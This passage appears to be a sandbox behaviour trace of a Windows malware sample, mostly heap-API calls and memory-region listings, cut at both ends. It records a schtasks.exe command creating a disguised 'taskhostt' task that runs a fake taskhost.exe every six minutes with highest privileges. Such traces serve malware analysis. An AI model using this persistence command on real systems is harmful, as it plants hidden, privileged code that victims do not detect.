Flags=0x0, MemoryPointer=0x30c1c0) returned 0x18 [0143.683] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1c0 | out: hHeap=0x2f0000) returned 1 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b00) returned 1 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b00) returned 0x20 [0143.683] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b00 | out: hHeap=0x2f0000) returned 1 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.684] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9f0) returned 1 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.684] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9f0) returned 0x2 [0143.684] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9f0 | out: hHeap=0x2f0000) returned 1 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.684] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305950) returned 1 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.684] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305950) returned 0x20 [0143.684] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305950 | out: hHeap=0x2f0000) returned 1 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.684] GetProcessHeap () returned 0x2f0000 [0143.685] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305980) returned 1 [0143.685] GetProcessHeap () returned 0x2f0000 [0143.685] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305980) returned 0x20 [0143.685] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305980 | out: hHeap=0x2f0000) returned 1 [0143.685] GetProcessHeap () returned 0x2f0000 [0143.685] GetProcessHeap () returned 0x2f0000 [0143.685] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059b0) returned 1 [0143.685] GetProcessHeap () returned 0x2f0000 [0143.685] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059b0) returned 0x20 [0143.685] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059b0 | out: hHeap=0x2f0000) returned 1 [0143.685] GetProcessHeap () returned 0x2f0000 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059e0) returned 1 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059e0) returned 0x20 [0143.686] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059e0 | out: hHeap=0x2f0000) returned 1 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb60) returned 1 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb60) returned 0x20 [0143.686] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb60 | out: hHeap=0x2f0000) returned 1 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] GetProcessHeap () returned 0x2f0000 [0143.686] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d680) returned 1 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d680) returned 0xc [0143.687] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d680 | out: hHeap=0x2f0000) returned 1 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb90) returned 1 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb90) returned 0x20 [0143.687] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb90 | out: hHeap=0x2f0000) returned 1 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a70) returned 1 [0143.687] GetProcessHeap () returned 0x2f0000 [0143.687] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307a70) returned 0x30 [0143.688] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a70 | out: hHeap=0x2f0000) returned 1 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbc0) returned 1 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbc0) returned 0x20 [0143.688] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbc0 | out: hHeap=0x2f0000) returned 1 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ab0) returned 1 [0143.688] GetProcessHeap () returned 0x2f0000 [0143.688] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307ab0) returned 0x30 [0143.689] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ab0 | out: hHeap=0x2f0000) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd40) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd40) returned 0x20 [0143.689] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd40 | out: hHeap=0x2f0000) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5a0) returned 0x16 [0143.689] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0 | out: hHeap=0x2f0000) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.689] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd10) returned 1 [0143.689] GetProcessHeap () returned 0x2f0000 [0143.690] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd10) returned 0x20 [0143.690] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd10 | out: hHeap=0x2f0000) returned 1 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0) returned 1 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5c0) returned 0x16 [0143.690] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0 | out: hHeap=0x2f0000) returned 1 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cce0) returned 1 [0143.690] GetProcessHeap () returned 0x2f0000 [0143.690] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cce0) returned 0x20 [0143.691] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cce0 | out: hHeap=0x2f0000) returned 1 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x329b90) returned 1 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x329b90) returned 0x82 [0143.691] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x329b90 | out: hHeap=0x2f0000) returned 1 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccb0) returned 1 [0143.691] GetProcessHeap () returned 0x2f0000 [0143.691] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccb0) returned 0x20 [0143.692] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccb0 | out: hHeap=0x2f0000) returned 1 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d600) returned 1 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d600) returned 0xe [0143.692] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d600 | out: hHeap=0x2f0000) returned 1 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc80) returned 1 [0143.692] GetProcessHeap () returned 0x2f0000 [0143.692] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc80) returned 0x20 [0143.693] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc80 | out: hHeap=0x2f0000) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d620) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d620) returned 0xc [0143.693] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d620 | out: hHeap=0x2f0000) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc50) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc50) returned 0x20 [0143.693] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc50 | out: hHeap=0x2f0000) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d640) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.693] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d640) returned 0xe [0143.693] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d640 | out: hHeap=0x2f0000) returned 1 [0143.693] GetProcessHeap () returned 0x2f0000 [0143.694] GetProcessHeap () returned 0x2f0000 [0143.694] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc20) returned 1 [0143.694] GetProcessHeap () returned 0x2f0000 [0143.694] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc20) returned 0x20 [0143.694] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc20 | out: hHeap=0x2f0000) returned 1 [0143.694] GetProcessHeap () returned 0x2f0000 [0143.694] GetProcessHeap () returned 0x2f0000 [0143.694] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660) returned 1 [0143.694] GetProcessHeap () returned 0x2f0000 [0143.694] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d660) returned 0x10 [0143.694] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660 | out: hHeap=0x2f0000) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbf0) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbf0) returned 0x20 [0143.695] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbf0 | out: hHeap=0x2f0000) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba10) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba10) returned 0x18 [0143.695] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba10 | out: hHeap=0x2f0000) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a10) returned 1 [0143.695] GetProcessHeap () returned 0x2f0000 [0143.695] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a10) returned 0x20 [0143.696] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a10 | out: hHeap=0x2f0000) returned 1 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a40) returned 1 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a40) returned 0x20 [0143.696] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a40 | out: hHeap=0x2f0000) returned 1 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a70) returned 1 [0143.696] GetProcessHeap () returned 0x2f0000 [0143.696] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305a70) returned 0x20 [0143.697] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305a70 | out: hHeap=0x2f0000) returned 1 [0143.697] GetProcessHeap () returned 0x2f0000 [0143.697] GetProcessHeap () returned 0x2f0000 [0143.697] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305aa0) returned 1 [0143.697] GetProcessHeap () returned 0x2f0000 [0143.697] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305aa0) returned 0x20 [0143.697] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305aa0 | out: hHeap=0x2f0000) returned 1 [0143.697] GetProcessHeap () returned 0x2f0000 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba30) returned 1 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba30) returned 0x18 [0143.698] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba30 | out: hHeap=0x2f0000) returned 1 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ad0) returned 1 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ad0) returned 0x20 [0143.698] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ad0 | out: hHeap=0x2f0000) returned 1 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b60) returned 1 [0143.698] GetProcessHeap () returned 0x2f0000 [0143.698] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b60) returned 0x20 [0143.699] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b60 | out: hHeap=0x2f0000) returned 1 [0143.699] GetProcessHeap () returned 0x2f0000 [0143.699] GetProcessHeap () returned 0x2f0000 [0143.699] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bc0) returned 1 [0143.699] GetProcessHeap () returned 0x2f0000 [0143.699] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305bc0) returned 0x20 [0143.699] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bc0 | out: hHeap=0x2f0000) returned 1 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c20) returned 1 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c20) returned 0x20 [0143.700] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c20 | out: hHeap=0x2f0000) returned 1 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c50) returned 1 [0143.700] GetProcessHeap () returned 0x2f0000 [0143.700] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c50) returned 0x20 [0143.701] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c50 | out: hHeap=0x2f0000) returned 1 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba50) returned 1 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba50) returned 0x18 [0143.701] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba50 | out: hHeap=0x2f0000) returned 1 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b90) returned 1 [0143.701] GetProcessHeap () returned 0x2f0000 [0143.701] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b90) returned 0x20 [0143.701] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b90 | out: hHeap=0x2f0000) returned 1 [0143.702] GetProcessHeap () returned 0x2f0000 [0143.702] GetProcessHeap () returned 0x2f0000 [0143.702] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9d0) returned 1 [0143.702] GetProcessHeap () returned 0x2f0000 [0143.702] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9d0) returned 0x18 [0143.702] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9d0 | out: hHeap=0x2f0000) returned 1 [0143.702] exit (_Code=0) Thread: id = 154 os_tid = 0xff0 Process: id = "34" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fcda000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3080 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3081 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3082 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3083 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3084 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3085 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3086 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3087 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3088 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3089 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3090 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3091 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3092 start_va = 0x220000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3093 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3094 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3095 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3096 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3097 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3098 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3099 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3100 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3101 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3102 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3103 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3104 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3105 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3106 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3107 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3108 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3109 start_va = 0xc0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3110 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3111 start_va = 0x3c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3112 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3113 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3114 start_va = 0x4c0000 end_va = 0x647fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 3115 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3116 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3117 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = 